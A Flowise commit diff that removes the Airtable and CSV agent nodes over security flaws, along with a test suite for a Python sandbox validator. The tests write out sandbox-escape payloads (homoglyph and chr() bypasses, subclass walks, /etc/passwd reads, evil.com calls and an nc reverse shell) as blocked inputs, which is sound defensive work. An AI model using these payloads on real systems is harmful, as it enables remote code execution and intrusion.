Fix Flowise 606 (#6499)

fix(flowise-606): remove AirtableAgent and CSVAgent due to security vulnerabilities
This commit is contained in:
yau-wd
2026-06-10 11:22:58 +08:00
committed by GitHub
parent 42d593f8ca
commit f4e2794f6a
11 changed files with 16 additions and 1604 deletions
@@ -1,277 +0,0 @@
import axios from 'axios'
import { BaseLanguageModel } from '@langchain/core/language_models/base'
import { AgentExecutor } from '@langchain/classic/agents'
import { LLMChain } from '@langchain/classic/chains'
import { ICommonObject, INode, INodeData, INodeParams, IServerSideEventStreamer, PromptTemplate } from '../../../src/Interface'
import { getBaseClasses, getCredentialData, getCredentialParam } from '../../../src/utils'
import { ConsoleCallbackHandler, CustomChainHandler, additionalCallbacks } from '../../../src/handler'
import { LoadPyodide, finalSystemPrompt, systemPrompt } from './core'
import { validatePythonCodeForDataFrame } from '../../../src/pythonCodeValidator'
import { checkInputs, Moderation } from '../../moderation/Moderation'
import { formatResponse } from '../../outputparsers/OutputParserHelpers'
class Airtable_Agents implements INode {
label: string
name: string
version: number
description: string
type: string
icon: string
category: string
baseClasses: string[]
credential: INodeParams
inputs: INodeParams[]
deprecateMessage: string
badge: string
constructor() {
this.label = 'Airtable Agent'
this.name = 'airtableAgent'
this.version = 2.0
this.type = 'AgentExecutor'
this.category = 'Agents'
this.icon = 'airtable.svg'
this.description = 'Agent used to answer queries on Airtable table'
this.badge = 'DEPRECATING'
this.deprecateMessage = 'Airtable Agent is deprecated and will be removed in a future release. Use Agent from AgentFlow instead.'
this.baseClasses = [this.type, ...getBaseClasses(AgentExecutor)]
this.credential = {
label: 'Connect Credential',
name: 'credential',
type: 'credential',
credentialNames: ['airtableApi']
}
this.inputs = [
{
label: 'Language Model',
name: 'model',
type: 'BaseLanguageModel'
},
{
label: 'Base Id',
name: 'baseId',
type: 'string',
placeholder: 'app11RobdGoX0YNsC',
description:
'If your table URL looks like: https://airtable.com/app11RobdGoX0YNsC/tblJdmvbrgizbYICO/viw9UrP77Id0CE4ee, app11RovdGoX0YNsC is the base id'
},
{
label: 'Table Id',
name: 'tableId',
type: 'string',
placeholder: 'tblJdmvbrgizbYICO',
description:
'If your table URL looks like: https://airtable.com/app11RobdGoX0YNsC/tblJdmvbrgizbYICO/viw9UrP77Id0CE4ee, tblJdmvbrgizbYICO is the table id'
},
{
label: 'Return All',
name: 'returnAll',
type: 'boolean',
default: true,
additionalParams: true,
description: 'If all results should be returned or only up to a given limit'
},
{
label: 'Limit',
name: 'limit',
type: 'number',
default: 100,
additionalParams: true,
description: 'Number of results to return'
},
{
label: 'Input Moderation',
description: 'Detect text that could generate harmful output and prevent it from being sent to the language model',
name: 'inputModeration',
type: 'Moderation',
optional: true,
list: true
}
]
}
async init(): Promise<any> {
// Not used
return undefined
}
async run(nodeData: INodeData, input: string, options: ICommonObject): Promise<string | object> {
const model = nodeData.inputs?.model as BaseLanguageModel
const baseId = nodeData.inputs?.baseId as string
const tableId = nodeData.inputs?.tableId as string
const returnAll = nodeData.inputs?.returnAll as boolean
const limit = nodeData.inputs?.limit as string
const moderations = nodeData.inputs?.inputModeration as Moderation[]
if (moderations && moderations.length > 0) {
try {
// Use the output of the moderation chain as input for the Vectara chain
input = await checkInputs(moderations, input)
} catch (e) {
await new Promise((resolve) => setTimeout(resolve, 500))
// if (options.shouldStreamResponse) {
// streamResponse(options.sseStreamer, options.chatId, e.message)
// }
return formatResponse(e.message)
}
}
const shouldStreamResponse = options.shouldStreamResponse
const sseStreamer: IServerSideEventStreamer = options.sseStreamer as IServerSideEventStreamer
const chatId = options.chatId
const credentialData = await getCredentialData(nodeData.credential ?? '', options)
const accessToken = getCredentialParam('accessToken', credentialData, nodeData)
let airtableData: ICommonObject[] = []
if (returnAll) {
airtableData = await loadAll(baseId, tableId, accessToken)
} else {
airtableData = await loadLimit(limit ? parseInt(limit, 10) : 100, baseId, tableId, accessToken)
}
let base64String = Buffer.from(JSON.stringify(airtableData)).toString('base64')
const loggerHandler = new ConsoleCallbackHandler(options.logger, options?.orgId)
const callbacks = await additionalCallbacks(nodeData, options)
const pyodide = await LoadPyodide()
// First load the csv file and get the dataframe dictionary of column types
// For example using titanic.csv: {'PassengerId': 'int64', 'Survived': 'int64', 'Pclass': 'int64', 'Name': 'object', 'Sex': 'object', 'Age': 'float64', 'SibSp': 'int64', 'Parch': 'int64', 'Ticket': 'object', 'Fare': 'float64', 'Cabin': 'object', 'Embarked': 'object'}
let dataframeColDict = ''
try {
const code = `import pandas as pd
import base64
import json
base64_string = "${base64String}"
decoded_data = base64.b64decode(base64_string)
json_data = json.loads(decoded_data)
df = pd.DataFrame(json_data)
my_dict = df.dtypes.astype(str).to_dict()
print(my_dict)
json.dumps(my_dict)`
dataframeColDict = await pyodide.runPythonAsync(code)
} catch (error) {
throw new Error(error)
}
// Then tell GPT to come out with ONLY python code
// For example: len(df), df[df['SibSp'] > 3]['PassengerId'].count()
let pythonCode = ''
if (dataframeColDict) {
const chain = new LLMChain({
llm: model,
prompt: PromptTemplate.fromTemplate(systemPrompt),
verbose: process.env.DEBUG === 'true' ? true : false
})
const inputs = {
dict: dataframeColDict,
question: input
}
const res = await chain.call(inputs, [loggerHandler, ...callbacks])
pythonCode = res?.text
// Regex to get rid of markdown code blocks syntax
pythonCode = pythonCode.replace(/^```[a-z]+\n|\n```$/gm, '')
}
// Then run the code using Pyodide (only after validating to prevent RCE)
let finalResult = ''
if (pythonCode) {
const validation = validatePythonCodeForDataFrame(pythonCode)
if (!validation.valid) {
throw new Error(
`Generated code was rejected for security reasons (${
validation.reason ?? 'unsafe construct'
}). Please rephrase your question to use only pandas DataFrame operations.`
)
}
try {
const code = `import pandas as pd\nimport numpy as np\n${pythonCode}`
// TODO: get print console output
finalResult = await pyodide.runPythonAsync(code)
} catch (error) {
throw new Error(`Sorry, I'm unable to find answer for question: "${input}" using following code: "${pythonCode}"`)
}
}
// Finally, return a complete answer
if (finalResult) {
const chain = new LLMChain({
llm: model,
prompt: PromptTemplate.fromTemplate(finalSystemPrompt),
verbose: process.env.DEBUG === 'true' ? true : false
})
const inputs = {
question: input,
answer: finalResult
}
if (options.shouldStreamResponse) {
const handler = new CustomChainHandler(shouldStreamResponse ? sseStreamer : undefined, chatId)
const result = await chain.call(inputs, [loggerHandler, handler, ...callbacks])
return result?.text
} else {
const result = await chain.call(inputs, [loggerHandler, ...callbacks])
return result?.text
}
}
return pythonCode
}
}
interface AirtableLoaderResponse {
records: AirtableLoaderPage[]
offset?: string
}
interface AirtableLoaderPage {
id: string
createdTime: string
fields: ICommonObject
}
const fetchAirtableData = async (url: string, params: ICommonObject, accessToken: string): Promise<AirtableLoaderResponse> => {
try {
const headers = {
Authorization: `Bearer ${accessToken}`,
'Content-Type': 'application/json',
Accept: 'application/json'
}
const response = await axios.get(url, { params, headers })
return response.data
} catch (error) {
throw new Error(`Failed to fetch ${url} from Airtable: ${error}`)
}
}
const loadAll = async (baseId: string, tableId: string, accessToken: string): Promise<ICommonObject[]> => {
const params: ICommonObject = { pageSize: 100 }
let data: AirtableLoaderResponse
let returnPages: AirtableLoaderPage[] = []
do {
data = await fetchAirtableData(`https://api.airtable.com/v0/${baseId}/${tableId}`, params, accessToken)
returnPages.push.apply(returnPages, data.records)
params.offset = data.offset
} while (data.offset !== undefined)
return data.records.map((page) => page.fields)
}
const loadLimit = async (limit: number, baseId: string, tableId: string, accessToken: string): Promise<ICommonObject[]> => {
const params = { maxRecords: limit }
const data = await fetchAirtableData(`https://api.airtable.com/v0/${baseId}/${tableId}`, params, accessToken)
if (data.records.length === 0) {
return []
}
return data.records.map((page) => page.fields)
}
module.exports = { nodeClass: Airtable_Agents }
@@ -1,5 +0,0 @@
<svg width="32" height="32" viewBox="0 0 32 32" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M5 13V23L14 17L5 13Z" fill="#ED304A" stroke="#ED304A" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M17 17.5V27L27 22.8V13L17 17.5Z" fill="#26B5F8" stroke="#26B5F8" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M16 14.5L6 10L16 5L26 10L16 14.5Z" fill="#FFBF00" stroke="#FFBF00" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
</svg>

Before

Width:  |  Height:  |  Size: 514 B

@@ -1,31 +0,0 @@
import type { PyodideInterface } from 'pyodide'
import * as path from 'path'
import { getUserHome } from '../../../src/utils'
let pyodideInstance: PyodideInterface | undefined
export async function LoadPyodide(): Promise<PyodideInterface> {
if (pyodideInstance === undefined) {
const { loadPyodide } = await import('pyodide')
const obj: any = { packageCacheDir: path.join(getUserHome(), '.flowise', 'pyodideCacheDir') }
pyodideInstance = await loadPyodide(obj)
await pyodideInstance.loadPackage(['pandas', 'numpy'])
}
return pyodideInstance
}
export const systemPrompt = `You are working with a pandas dataframe in Python. The name of the dataframe is df.
The columns and data types of a dataframe are given below as a Python dictionary with keys showing column names and values showing the data types.
{dict}
I will ask question, and you will output the Python code using pandas dataframe to answer my question. Do not provide any explanations. Do not respond with anything except the output of the code.
Security: Output ONLY pandas/numpy operations on the dataframe (df). Do not use import, exec, eval, open, os, subprocess, or any other system or file operations. The code will be validated and rejected if it contains such constructs.
Question: {question}
Output Code:`
export const finalSystemPrompt = `You are given the question: {question}. You have an answer to the question: {answer}. Rephrase the answer into a standalone answer.
Standalone Answer:`
@@ -1,243 +0,0 @@
import { BaseLanguageModel } from '@langchain/core/language_models/base'
import { AgentExecutor } from '@langchain/classic/agents'
import { LLMChain } from '@langchain/classic/chains'
import { ConsoleCallbackHandler, CustomChainHandler, additionalCallbacks } from '../../../src/handler'
import { ICommonObject, INode, INodeData, INodeParams, IServerSideEventStreamer, PromptTemplate } from '../../../src/Interface'
import { getBaseClasses } from '../../../src/utils'
import { LoadPyodide, finalSystemPrompt, systemPrompt } from './core'
import { validatePythonCodeForDataFrame, validateCustomReadCSVFunction } from '../../../src/pythonCodeValidator'
import { checkInputs, Moderation } from '../../moderation/Moderation'
import { formatResponse } from '../../outputparsers/OutputParserHelpers'
import { getFileFromStorage } from '../../../src'
class CSV_Agents implements INode {
label: string
name: string
version: number
description: string
type: string
icon: string
category: string
baseClasses: string[]
inputs: INodeParams[]
constructor() {
this.label = 'CSV Agent'
this.name = 'csvAgent'
this.version = 3.0
this.type = 'AgentExecutor'
this.category = 'Agents'
this.icon = 'CSVagent.svg'
this.description = 'Agent used to answer queries on CSV data'
this.baseClasses = [this.type, ...getBaseClasses(AgentExecutor)]
this.inputs = [
{
label: 'Csv File',
name: 'csvFile',
type: 'file',
fileType: '.csv'
},
{
label: 'Language Model',
name: 'model',
type: 'BaseLanguageModel'
},
{
label: 'System Message',
name: 'systemMessagePrompt',
type: 'string',
rows: 4,
additionalParams: true,
optional: true,
placeholder:
'I want you to act as a document that I am having a conversation with. Your name is "AI Assistant". You will provide me with answers from the given info. If the answer is not included, say exactly "Hmm, I am not sure." and stop after that. Refuse to answer any question not about the info. Never break character.'
},
{
label: 'Input Moderation',
description: 'Detect text that could generate harmful output and prevent it from being sent to the language model',
name: 'inputModeration',
type: 'Moderation',
optional: true,
list: true
},
{
label: 'Custom Pandas Read_CSV Code',
description:
'Custom Pandas <a target="_blank" href="https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.read_csv.html">read_csv</a> function. Takes in an input: "csv_data"',
name: 'customReadCSV',
default: 'read_csv(csv_data)',
type: 'code',
optional: true,
additionalParams: true
}
]
}
async init(): Promise<any> {
// Not used
return undefined
}
async run(nodeData: INodeData, input: string, options: ICommonObject): Promise<string | object> {
const csvFileBase64 = nodeData.inputs?.csvFile as string
const model = nodeData.inputs?.model as BaseLanguageModel
const systemMessagePrompt = nodeData.inputs?.systemMessagePrompt as string
const moderations = nodeData.inputs?.inputModeration as Moderation[]
const _customReadCSV = nodeData.inputs?.customReadCSV as string
if (moderations && moderations.length > 0) {
try {
// Use the output of the moderation chain as input for the CSV agent
input = await checkInputs(moderations, input)
} catch (e) {
await new Promise((resolve) => setTimeout(resolve, 500))
// if (options.shouldStreamResponse) {
// streamResponse(options.sseStreamer, options.chatId, e.message)
// }
return formatResponse(e.message)
}
}
const loggerHandler = new ConsoleCallbackHandler(options.logger, options?.orgId)
const shouldStreamResponse = options.shouldStreamResponse
const sseStreamer: IServerSideEventStreamer = options.sseStreamer as IServerSideEventStreamer
const chatId = options.chatId
const callbacks = await additionalCallbacks(nodeData, options)
let files: string[] = []
let base64String = ''
if (csvFileBase64.startsWith('FILE-STORAGE::')) {
const fileName = csvFileBase64.replace('FILE-STORAGE::', '')
if (fileName.startsWith('[') && fileName.endsWith(']')) {
files = JSON.parse(fileName)
} else {
files = [fileName]
}
const orgId = options.orgId
const chatflowid = options.chatflowid
for (const file of files) {
if (!file) continue
const fileData = await getFileFromStorage(file, orgId, chatflowid)
base64String += fileData.toString('base64')
}
} else {
if (csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']')) {
files = JSON.parse(csvFileBase64)
} else {
files = [csvFileBase64]
}
for (const file of files) {
if (!file) continue
const splitDataURI = file.split(',')
splitDataURI.pop()
base64String += splitDataURI.pop() ?? ''
}
}
const pyodide = await LoadPyodide()
// First load the csv file and get the dataframe dictionary of column types
// For example using titanic.csv: {'PassengerId': 'int64', 'Survived': 'int64', 'Pclass': 'int64', 'Name': 'object', 'Sex': 'object', 'Age': 'float64', 'SibSp': 'int64', 'Parch': 'int64', 'Ticket': 'object', 'Fare': 'float64', 'Cabin': 'object', 'Embarked': 'object'}
let dataframeColDict = ''
let customReadCSVFunc = _customReadCSV ? _customReadCSV : 'read_csv(csv_data)'
const csvReadValidation = validateCustomReadCSVFunction(customReadCSVFunc)
if (!csvReadValidation.valid) {
throw new Error(
`Custom read_csv code was rejected for security reasons (${
csvReadValidation.reason ?? 'unsafe construct'
}). Only a single read_csv(...) call is permitted.`
)
}
try {
const code = `import pandas as pd
import base64
from io import StringIO
import json
base64_string = "${base64String}"
decoded_data = base64.b64decode(base64_string)
csv_data = StringIO(decoded_data.decode('utf-8'))
df = pd.${customReadCSVFunc}
my_dict = df.dtypes.astype(str).to_dict()
print(my_dict)
json.dumps(my_dict)`
dataframeColDict = await pyodide.runPythonAsync(code)
} catch (error) {
throw new Error(error)
}
// Then tell GPT to come out with ONLY python code
// For example: len(df), df[df['SibSp'] > 3]['PassengerId'].count()
let pythonCode = ''
if (dataframeColDict) {
const chain = new LLMChain({
llm: model,
prompt: PromptTemplate.fromTemplate(systemPrompt),
verbose: process.env.DEBUG === 'true' ? true : false
})
const inputs = {
dict: dataframeColDict,
question: input
}
const res = await chain.call(inputs, [loggerHandler, ...callbacks])
pythonCode = res?.text
// Regex to get rid of markdown code blocks syntax
pythonCode = pythonCode.replace(/^```[a-z]+\n|\n```$/gm, '')
}
// Then run the code using Pyodide (only after validating to prevent RCE)
let finalResult = ''
if (pythonCode) {
const validation = validatePythonCodeForDataFrame(pythonCode)
if (!validation.valid) {
throw new Error(
`Generated code was rejected for security reasons (${
validation.reason ?? 'unsafe construct'
}). Please rephrase your question to use only pandas DataFrame operations.`
)
}
try {
const code = `import pandas as pd\nimport numpy as np\n${pythonCode}`
// TODO: get print console output
finalResult = await pyodide.runPythonAsync(code)
} catch (error) {
throw new Error(`Sorry, I'm unable to find answer for question: "${input}" using following code: "${pythonCode}"`)
}
}
// Finally, return a complete answer
if (finalResult) {
const chain = new LLMChain({
llm: model,
prompt: PromptTemplate.fromTemplate(
systemMessagePrompt ? `${systemMessagePrompt}\n${finalSystemPrompt}` : finalSystemPrompt
),
verbose: process.env.DEBUG === 'true' ? true : false
})
const inputs = {
question: input,
answer: finalResult
}
if (options.shouldStreamResponse) {
const handler = new CustomChainHandler(shouldStreamResponse ? sseStreamer : undefined, chatId)
const result = await chain.call(inputs, [loggerHandler, handler, ...callbacks])
return result?.text
} else {
const result = await chain.call(inputs, [loggerHandler, ...callbacks])
return result?.text
}
}
return pythonCode
}
}
module.exports = { nodeClass: CSV_Agents }
@@ -1,9 +0,0 @@
<svg width="32" height="32" viewBox="0 0 32 32" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M21 20L23.5 27L26 20" stroke="black" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M11 21C10.609 20.3986 10 20 9 20C7.067 20 6 21.567 6 23.5C6 25.433 7.067 27 9 27C10 27 10.7037 26.4812 11 26" stroke="black" stroke-width="2" stroke-linecap="round"/>
<path d="M18.01 20.45C17.0115 19.7553 14 19.6248 14 21.8374C14 24.288 18.5 22.6248 18.5 25.2074C18.5 27.1484 15.4962 27.766 14 26.5" stroke="black" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M10 6C10 5.44772 10.4477 5 11 5H21C21.5523 5 22 5.44772 22 6V11C22 13.2091 20.2091 15 18 15H14C11.7909 15 10 13.2091 10 11V6Z" stroke="black" stroke-width="2" stroke-linejoin="round"/>
<path d="M16 5V3" stroke="black" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
<circle cx="14" cy="9" r="1.5" fill="black"/>
<circle cx="18" cy="9" r="1.5" fill="black"/>
</svg>

Before

Width:  |  Height:  |  Size: 990 B

@@ -1,31 +0,0 @@
import type { PyodideInterface } from 'pyodide'
import * as path from 'path'
import { getUserHome } from '../../../src/utils'
let pyodideInstance: PyodideInterface | undefined
export async function LoadPyodide(): Promise<PyodideInterface> {
if (pyodideInstance === undefined) {
const { loadPyodide } = await import('pyodide')
const obj: any = { packageCacheDir: path.join(getUserHome(), '.flowise', 'pyodideCacheDir') }
pyodideInstance = await loadPyodide(obj)
await pyodideInstance.loadPackage(['pandas', 'numpy'])
}
return pyodideInstance
}
export const systemPrompt = `You are working with a pandas dataframe in Python. The name of the dataframe is df.
The columns and data types of a dataframe are given below as a Python dictionary with keys showing column names and values showing the data types.
{dict}
I will ask question, and you will output the Python code using pandas dataframe to answer my question. Do not provide any explanations. Do not respond with anything except the output of the code.
Security: Output ONLY pandas/numpy operations on the dataframe (df). Do not use import, exec, eval, open, os, subprocess, or any other system or file operations. The code will be validated and rejected if it contains such constructs.
Question: {question}
Output Code:`
export const finalSystemPrompt = `You are given the question: {question}. You have an answer to the question: {answer}. Rephrase the answer into a standalone answer.
Standalone Answer:`
-1
View File
@@ -172,7 +172,6 @@
"pg": "^8.11.2",
"playwright": "^1.35.0",
"puppeteer": "^20.7.1",
"pyodide": ">=0.21.0-alpha.2",
"redis": "^4.6.7",
"remove-markdown": "^0.6.2",
"replicate": "^0.31.1",
+13 -14
View File
@@ -4,19 +4,18 @@ import path from 'path'
const envPath = path.join(__dirname, '..', '..', '.env')
dotenv.config({ path: envPath, override: true })
export * from './Interface'
export * from './utils'
export * from './speechToText'
export * from './textToSpeech'
export * from './storageUtils'
export * from './storage'
export * from './handler'
export { tracingEnvEnabled } from './tracingEnv'
export * from '../evaluation/EvaluationRunner'
export * from './followUpPrompts'
export * from './validator'
export * from './agentflowv2Generator'
export * from './httpSecurity'
export * from './headerValidation'
export * from './pythonCodeValidator'
export { MCPToolkit } from '../nodes/tools/MCP/core'
export * from './agentflowv2Generator'
export * from './followUpPrompts'
export * from './handler'
export * from './headerValidation'
export * from './httpSecurity'
export * from './Interface'
export * from './speechToText'
export * from './storage'
export * from './storageUtils'
export * from './textToSpeech'
export { tracingEnvEnabled } from './tracingEnv'
export * from './utils'
export * from './validator'
@@ -1,599 +0,0 @@
import { validateCustomReadCSVFunction, validatePythonCodeForDataFrame } from './pythonCodeValidator'
describe('validatePythonCodeForDataFrame', () => {
describe('reported bypass: multi-name import with alias', () => {
it('should block "import pandas as np, os as pandas" (the reported bypass)', () => {
const result = validatePythonCodeForDataFrame('import pandas as np, os as pandas')
expect(result.valid).toBe(false)
expect(result.reason).toContain('import statement')
})
it('should block the combined bypass + exploitation snippet', () => {
const result = validatePythonCodeForDataFrame('import pandas as np, os as pandas\npandas.system("xcalc")')
expect(result.valid).toBe(false)
expect(result.reason).toContain('import statement')
})
})
describe('import bypass scenarios', () => {
it('should block "import os"', () => {
const result = validatePythonCodeForDataFrame('import os')
expect(result.valid).toBe(false)
})
it('should block if import is stated more than once', () => {
const result = validatePythonCodeForDataFrame('import import')
expect(result.valid).toBe(false)
})
it('should block "import sys"', () => {
const result = validatePythonCodeForDataFrame('import sys')
expect(result.valid).toBe(false)
})
it('should block "import subprocess"', () => {
const result = validatePythonCodeForDataFrame('import subprocess')
expect(result.valid).toBe(false)
})
it('should block "import pandas" (redundant; already in prelude)', () => {
const result = validatePythonCodeForDataFrame('import pandas')
expect(result.valid).toBe(false)
})
it('should block "import numpy" (redundant; already in prelude)', () => {
const result = validatePythonCodeForDataFrame('import numpy')
expect(result.valid).toBe(false)
})
it('should block "import pandas as pd"', () => {
const result = validatePythonCodeForDataFrame('import pandas as pd')
expect(result.valid).toBe(false)
})
it('should block "import pandas, os"', () => {
const result = validatePythonCodeForDataFrame('import pandas, os')
expect(result.valid).toBe(false)
})
it('should block "import numpy, subprocess"', () => {
const result = validatePythonCodeForDataFrame('import numpy, subprocess')
expect(result.valid).toBe(false)
})
it('should block "from os import system"', () => {
const result = validatePythonCodeForDataFrame('from os import system')
expect(result.valid).toBe(false)
})
it('should block "from os import *"', () => {
const result = validatePythonCodeForDataFrame('from os import *')
expect(result.valid).toBe(false)
})
it('should block "from subprocess import Popen"', () => {
const result = validatePythonCodeForDataFrame('from subprocess import Popen')
expect(result.valid).toBe(false)
})
it('should block import inside a function definition', () => {
const result = validatePythonCodeForDataFrame('def f():\n import os\n os.system("x")')
expect(result.valid).toBe(false)
})
it('should block import inside a try/except block', () => {
const result = validatePythonCodeForDataFrame('try:\n import os\nexcept:\n pass')
expect(result.valid).toBe(false)
})
})
describe('Unicode homoglyph bypass (NFKC normalization)', () => {
// Python NFKC-normalizes identifiers at parse time (PEP 3131), so these
// homoglyph forms execute as their ASCII equivalents. The validator must
// normalize before matching or they slip past the ASCII-only denylist.
it('should block import written with a subscript "i" (\\u1D62)', () => {
const result = validatePythonCodeForDataFrame('\u1D62mport js')
expect(result.valid).toBe(false)
expect(result.reason).toContain('import statement')
})
it('should block eval written with a script "e" (\\u212F)', () => {
const result = validatePythonCodeForDataFrame('\u212Fval("__import__(\'os\')")')
expect(result.valid).toBe(false)
expect(result.reason).toContain('eval()')
})
it('should block __class__ with a bold "a" (\\u1D41A)', () => {
const result = validatePythonCodeForDataFrame('().__cl\u{1D41A}ss__')
expect(result.valid).toBe(false)
expect(result.reason).toContain('__class__')
})
it('should block __subclasses__ with a bold "a" (\\u1D41A)', () => {
const result = validatePythonCodeForDataFrame('object.__subcl\u{1D41A}sses__()')
expect(result.valid).toBe(false)
expect(result.reason).toContain('__subclasses__')
})
it('should block __builtins__ with a bold "u" (\\u1D42E)', () => {
const result = validatePythonCodeForDataFrame('x.__b\u{1D42E}iltins__')
expect(result.valid).toBe(false)
expect(result.reason).toContain('__builtins__')
})
it('should block getattr with a script "g" (\\u210A)', () => {
const result = validatePythonCodeForDataFrame('\u210Aetattr(df, "__class__")')
expect(result.valid).toBe(false)
expect(result.reason).toContain('getattr()')
})
it('should block chr() used to assemble forbidden names at runtime', () => {
const result = validatePythonCodeForDataFrame("bi[chr(95)*2 + 'imp' + 'ort' + chr(95)*2]")
expect(result.valid).toBe(false)
expect(result.reason).toContain('chr() (runtime string assembly)')
})
it('should block backslash line continuation bypasses', () => {
// Python explicit line joining: eval\<newline>(...) is parsed as eval(...)
const result = validatePythonCodeForDataFrame('eval\\\n(\'__import__("os").system("id")\')')
expect(result.valid).toBe(false)
expect(result.reason).toContain('eval()')
})
it('should block the full reported homoglyph + chr() RCE payload', () => {
const payload = [
'cls = ().__cl\u{1D41A}ss__',
'base = cls.__b\u{1D41A}se__',
'subs = base.__subcl\u{1D41A}sses__()',
'for c in subs:',
" if c.__name__ == 'catch_warnings':",
' cw = c()',
' bi = cw._module.__b\u{1D42E}iltins__',
" imp_name = chr(95)*2 + 'imp' + 'ort' + chr(95)*2",
' imp = bi[imp_name]',
' js_mod = imp(chr(106)+chr(115))',
' break'
].join('\n')
const result = validatePythonCodeForDataFrame(payload)
expect(result.valid).toBe(false)
})
})
describe('legitimate pandas and numpy code passes validation', () => {
it('should allow simple column access', () => {
expect(validatePythonCodeForDataFrame("df['Age'].mean()").valid).toBe(true)
})
it('should allow filtering', () => {
expect(validatePythonCodeForDataFrame("df[df['Survived'] == 1]['Name'].count()").valid).toBe(true)
})
it('should allow len(df)', () => {
expect(validatePythonCodeForDataFrame('len(df)').valid).toBe(true)
})
it('should allow groupby and aggregation', () => {
expect(validatePythonCodeForDataFrame("df.groupby('Pclass')['Fare'].mean()").valid).toBe(true)
})
it('should allow numpy operations using the "np" alias (provided by prelude)', () => {
expect(validatePythonCodeForDataFrame("np.mean(df['Age'].dropna())").valid).toBe(true)
})
it('should allow pandas string methods', () => {
expect(validatePythonCodeForDataFrame("df['Name'].str.contains('Mr').sum()").valid).toBe(true)
})
it('should allow chained method calls', () => {
expect(validatePythonCodeForDataFrame("df.sort_values('Fare', ascending=False).head(5)['Name'].tolist()").valid).toBe(true)
})
it('should allow multi-line pandas code without imports', () => {
const code = "mask = df['Age'] > 30\nresult = df[mask]['Survived'].mean()\nresult"
expect(validatePythonCodeForDataFrame(code).valid).toBe(true)
})
it('should allow df.astype() (contains "as" but not the word "import")', () => {
expect(validatePythonCodeForDataFrame("df['Age'].astype(int).mean()").valid).toBe(true)
})
it('should allow df.describe()', () => {
expect(validatePythonCodeForDataFrame('str(df.describe())').valid).toBe(true)
})
})
describe('dangerous builtins are blocked', () => {
it('should block eval()', () => {
const result = validatePythonCodeForDataFrame('eval(\'os.system("x")\')')
expect(result.valid).toBe(false)
expect(result.reason).toContain('eval()')
})
it('should block exec()', () => {
const result = validatePythonCodeForDataFrame('exec("os.system(\'x\')")')
expect(result.valid).toBe(false)
expect(result.reason).toContain('exec()')
})
it('should block __import__()', () => {
const result = validatePythonCodeForDataFrame('__import__("os").system("x")')
expect(result.valid).toBe(false)
expect(result.reason).toContain('__import__()')
})
it('should block open()', () => {
const result = validatePythonCodeForDataFrame('open("/etc/passwd").read()')
expect(result.valid).toBe(false)
expect(result.reason).toContain('open()')
})
it('should block globals()', () => {
const result = validatePythonCodeForDataFrame('globals()["os"].system("x")')
expect(result.valid).toBe(false)
expect(result.reason).toContain('globals()')
})
it('should block locals()', () => {
const result = validatePythonCodeForDataFrame('locals()["df"]')
expect(result.valid).toBe(false)
expect(result.reason).toContain('locals()')
})
it('should block getattr()', () => {
const result = validatePythonCodeForDataFrame('getattr(df, "__class__")')
expect(result.valid).toBe(false)
expect(result.reason).toContain('getattr()')
})
it('should block setattr()', () => {
const result = validatePythonCodeForDataFrame('setattr(df, "x", 1)')
expect(result.valid).toBe(false)
expect(result.reason).toContain('setattr()')
})
it('should block compile()', () => {
const result = validatePythonCodeForDataFrame('compile("os.system(\'x\')", "<>", "eval")')
expect(result.valid).toBe(false)
expect(result.reason).toContain('compile()')
})
it('should block breakpoint()', () => {
const result = validatePythonCodeForDataFrame('breakpoint()')
expect(result.valid).toBe(false)
expect(result.reason).toContain('breakpoint()')
})
})
describe('dangerous module access is blocked', () => {
it('should block os. access', () => {
const result = validatePythonCodeForDataFrame('os.system("xcalc")')
expect(result.valid).toBe(false)
expect(result.reason).toContain('os module')
})
it('should block subprocess. access', () => {
const result = validatePythonCodeForDataFrame('subprocess.run(["ls"])')
expect(result.valid).toBe(false)
expect(result.reason).toContain('subprocess module')
})
it('should block sys. access', () => {
const result = validatePythonCodeForDataFrame('sys.exit(0)')
expect(result.valid).toBe(false)
expect(result.reason).toContain('sys module')
})
it('should block socket. access', () => {
const result = validatePythonCodeForDataFrame('socket.connect(("evil.com", 80))')
expect(result.valid).toBe(false)
expect(result.reason).toContain('socket module')
})
it('should block urllib. access', () => {
const result = validatePythonCodeForDataFrame('urllib.request.urlopen("http://evil.com")')
expect(result.valid).toBe(false)
expect(result.reason).toContain('urllib module')
})
it('should block requests. access', () => {
const result = validatePythonCodeForDataFrame('requests.get("http://evil.com")')
expect(result.valid).toBe(false)
expect(result.reason).toContain('requests module')
})
it('should block dangerous modules reached through pandas internals', () => {
const result = validatePythonCodeForDataFrame('pd.io.common.os.system("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh")')
expect(result.valid).toBe(false)
expect(result.reason).toContain('os module')
})
it('should block process execution even if the module was aliased first', () => {
const result = validatePythonCodeForDataFrame('_m.system("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh")')
expect(result.valid).toBe(false)
expect(result.reason).toContain('process execution function')
})
})
describe('reflection dunder attributes are blocked', () => {
it('should block __builtins__', () => {
const result = validatePythonCodeForDataFrame('x = __builtins__')
expect(result.valid).toBe(false)
expect(result.reason).toContain('__builtins__')
})
it('should block __subclasses__()', () => {
const result = validatePythonCodeForDataFrame('().__class__.__bases__[0].__subclasses__()')
expect(result.valid).toBe(false)
})
it('should block __globals__', () => {
const result = validatePythonCodeForDataFrame('f.__globals__["os"]')
expect(result.valid).toBe(false)
expect(result.reason).toContain('__globals__')
})
it('should block __mro__', () => {
const result = validatePythonCodeForDataFrame('().__class__.__mro__')
expect(result.valid).toBe(false)
})
it('should block __code__', () => {
const result = validatePythonCodeForDataFrame('f.__code__.co_consts')
expect(result.valid).toBe(false)
expect(result.reason).toContain('__code__')
})
it('should block __closure__', () => {
const result = validatePythonCodeForDataFrame('f.__closure__[0].cell_contents')
expect(result.valid).toBe(false)
expect(result.reason).toContain('__closure__')
})
it('should block __getattribute__ (attribute reflection bypass)', () => {
const result = validatePythonCodeForDataFrame('df.__getattribute__("columns")')
expect(result.valid).toBe(false)
